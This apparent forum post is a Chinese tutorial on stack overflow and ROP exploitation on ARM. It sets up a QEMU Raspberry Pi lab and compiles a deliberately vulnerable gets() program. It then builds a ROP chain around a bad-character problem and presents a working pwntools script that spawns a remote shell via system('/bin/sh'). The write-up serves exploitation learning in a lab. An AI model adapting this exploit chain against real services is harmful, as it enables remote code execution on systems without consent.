高级模式   | 热搜 : 资讯  安全  漏洞  工具  系统安全 
查看: 1332 | 回复: 0
只看楼主
离线
yfmxo(好ID:4444885)   发表于 2016-07-01 10:10:47     
1#

* 本文原创作者:thor@ms509Team

目前市面上的Android手机大多都采用ARM的CPU,在嵌入式设备领域ARM CPU更是处于统治地位,因此在移动安全领域有必要熟悉下ARM的exploition。本文记录了ARM下栈溢出到ROP利用的调试过程,供入门参考。

0×00 QUME ARM虚拟环境搭建

要调试ARM程序,首先你要有ARM的机器。虽然Android手机大部分是ARM架构的CPU,但是由于Android系统和linux系统的库和工具还是有很多不同,使用很不方便,最好还是有ARM + Linux的环境,Raspberry Pi 便是不错的选择。这里我们使用开源硬件模拟器QEMU + Raspberry Pi的镜像来搭建ARM + Linux的环境。搭建环境需要准备以下软件及工具:

 1. ubuntu 16.02 32位系统 2. QEMU emulator version 2.5.0 3. Raspberry Pi image:2014-06-20-wheezy-raspbian.img 4. qemu kernel : qemu_kernel_3.2.27_with_CIF

首先安装qemu:

apt-get install qemu-system qemu-user-static binfmt-support

安装好后,将Raspberry Pi image和qemu kernel放到同一目录下,运行如下命令启动虚拟机修改一些配置文件:

qemu-system-arm -kernel qemu_kernel_3.2.27_with_CIFS -cpu arm1176 -m 256 -M versatilepb -no-reboot -serial stdio -append "root=/dev/sda2 panic=1 rootfstype=ext4 rw init=/bin/bash" -hda 2014-06-20-wheezy-raspbian.img

启动后界面如下:

    

接下来需要修改一些配置文件,首先执行

vi /etc/ld.so.preload

将/usr/lib/arm-linux-gnueabihf/libcofi_rpi.so注释掉:

#/usr/lib/arm-linux-gnueabihf/libcofi_rpi.so

然后新建/etc/udev/rules.d/90-qemu.rules文件,并加入如下内容:

KERNEL=="sda", SYMLINK+="mmcblk0"

KERNEL=="sda?", SYMLINK+="mmcblk0p%n"

KERNEL=="sda2", SYMLINK+="root"


配置好后退出并关闭虚拟机。Raspberry Pi image自带的磁盘空间很小,通过如下命令扩展:
qemu-img resize 2014-06-20-wheezy-raspbian.img +8G

现在可以用如下命令真正启动进入虚拟机了:
qemu-system-arm -kernel qemu_kernel_3.2.27_with_CIFS  -cpu arm1176 -m 256 -M versatilepb -no-reboot -serial stdio -append "root=/dev/sda2 panic=1 rootfstype=ext4 rw" -hda 2014-06-20-wheezy-raspbian.img

启动后界面如下:

    

通过用户名pi及密码raspberry进入系统:

    

刚才用qemu-img扩展了image,进入系统后还需要通过如下命令扩展文件系统:

sudo ln -snf mmcblk0p2 /dev/root

sudo raspi-config


最后,配置好的系统如图所示:

    

配置好系统后就可以进入系统安装软件、配置调试环境了。为了调试方便,需要通过ssh访问系统,但是qemu配置host与guest直接网络互通比较麻烦,因此使用qemu端口转发的方式比较方便,而host与guest文件共享则使用qemu自带的samba服务,最终qemu启动命令如下:

qemu-system-arm -kernel qemu_kernel_3.2.27_with_CIFS -cpu arm1176 -m 256  -M  versatilepb -no-reboot -serial stdio -append "root=/dev/sda2 panic=1 rootfstype=ext4 rw " -hda 2014-06-20-wheezy-raspbian.img -redir tcp:5022::22 -redir tcp:6666::6666  -smb /root/Desktop

通过redir参数,我们将raspberry的22端口映射到host的5022端口,那么主机ubuntu可通过如下命令访问raspberry:

ssh -p 5022 pi@127.0.0.1

同时,我们将raspberry的6666端口映射到本地的6666端口,方便利用socat调试远程溢出。qemu的smb参数指定主机的目录为samba目录,在raspberry guest中可以通过\10.0.2.4\qemu访问,10.0.2.4是qemu规定的samba共享地址。在raspberry中可通过如下命令挂载samba共享:

sudo mount -t cifs //10.0.2.4/qemu /mnt/Host

挂载好后在raspberry中可直接通过/mnt/Host访问主机的共享目录。系统环境准备好后就是安装调试环境,主要用到了gdb插件gef、checksec.sh、pattern.py、Ropgadget、pwntools等。这些工具都可以通过apt-get和pip安装,十分方便。

0×01 ARM下的栈溢出ROP

搭建好ARM的环境后,我们先通过一个简单的栈溢出来练练手,同时先关闭ASLR:

  sudo echo 0 > /proc/sys/kernel/randomize_va_space

编写一个简单的栈溢出程序stack.c:

#include <stdio.h>


int main(int argc, char **argv) {


    char buffer[64];


    gets(buffer);


    return 0;

}


通过gcc编译得到可执行程序:
gcc -o stack stack.c

程序非常简单,gets函数存在栈溢出,接下来我们调试程序寻找溢出点:

    

使用checksec查看使用了哪些安全机制:

    

使用了DEP,没有栈保护及PIE,由于我们先关闭了ASLR,因此这里主要是绕过DEP机制,可以使用ret2libc或ROP,这里我们使用ROP。为了准确找出溢出点,我们使用pattern.py首先生成150字符,并输入:

    

可以看到PC值为0×33634132,通过pattern.py确定溢出点为68:

    

接下来我们需要构造ROP chain。我们溢出的目的是执行libc中的system函数,执行system(“/bin/sh”)获取到shell。由于ARM中函数参数是通过寄存器传递而不是栈,因此我们至少需要一个gadget:设置寄存器r0为”/bin/sh”。stack程序本身代码较少,因此我们在libc中寻找,我们使用ROPgadget来寻找:

ROPgadget --binary libc-2.13.so --only "pop" | grep r0

只找到一个:

0x0007908c : pop {r0, r4, pc}

这个gadget刚好满足我们的需求:控制r0及pc。但是在这里却出现了一个大问题:坏字符。我们先找到libc加载的基址0×40034000:

    

计算得到gadget1的内存地址:

0x400ad08c

该地址有一坏字符0a,即换行符’\n’。gets函数在遇到换行符就结束了,payload就没法正常发送。因此 pop {r0, r4, pc}这个gadget没法用。我们只有找mov r0,rn类似的gadget来曲线救国:

ROPgadget --binary libc-2.13.so --only "mov|pop" | grep r0

找到一大堆gadget,我们选取如下:

0x000e2010 : mov r0, r1 ; pop {r4, pc}

这里通过寄存器r1中转,因此还要找一个控制r1的gadget:

0x00102ae4  pop {r1,pc}

最后我们的ROP chain为:

    gadget1: 0x00102ae4 : pop {r1,pc}[/li]gadget2: 0x000e2010 : mov r0, r1 ; pop {r4, pc}[/li]ret2libc调用system函数[/li]

exploit中我们还需要知道system函数的地址及/bin/sh的地址:

    

最后我们的exploit脚本如下:

from pwn import *


p = remote('127.0.0.1',6666)


#gadget1:   0x00102ae4  pop {r1,pc}


#gadget2:   0x000e2010  mov {r0,r1}; pop {r4,pc}


libc_base = 0x40034000


gadget1 = libc_base + 0x00102ae4

gadget2 = libc_base + 0x000e2010


bin_sh_addr_in_libc = 0x40149e6c


system = 0x4006ebd8


r4 = 'BBBB'


payload = 'A'*68 + p32(gadget1) + p32(bin_sh_addr_in_libc) + p32(gadget2) + r4 + p32(system) 


p.send(payload)


p.interactive()


最后测试溢出效果,在Raspberry Pi 虚拟机中执行socat:

    

在主机端远程溢出成功,获取到shell:

    

0×02 总结

本文记录了在QEMU Raspberry Pi虚拟环境下调试ARM栈溢出及ROP的过程。栈溢出的可执行程序很简单,主要是调试ROP的过程中遇到坏字符的问题调试了很久,PC莫名其妙跑飞,最后才找到原因及解决办法。后续将继续调试ARM下绕过ASLR及堆溢出的练习。

赞 0
    最近浏览:

huller1
2017-08-30

sherry12
2016-08-30

AL
2016-07-01

yfmxo
2016-06-30
 
Mersion社区版权声明1、本主题所有言论和图片纯属会员个人意见,与本论坛立场无关。
2、本站所有主题由该帖子发布者发表,该帖子作者发布者享有帖子相关版权。
3、其他单位或个人使用、转载或引用本文时必须同时征得该帖子作者的同意。
4、帖子作者与发布者须承担一切因本文发表而直接或间接导致的民事或刑事法律责任。
5、本帖部分内容转载自其它媒体,但并不代表本站赞同其观点和对其真实性负责。
6、如本帖侵犯到任何版权问题,请立即告知本站,本站将及时予与删除并致以最深的歉意。
7、文字管理员和版主有权不事先通知发贴者而删除本文。
 
你需要登录入才可以回帖  登入  |  会员注册

备案号: 版权所有:Mersion社区
当前时间:UTC+8:00, 2019-06-26 01:33:14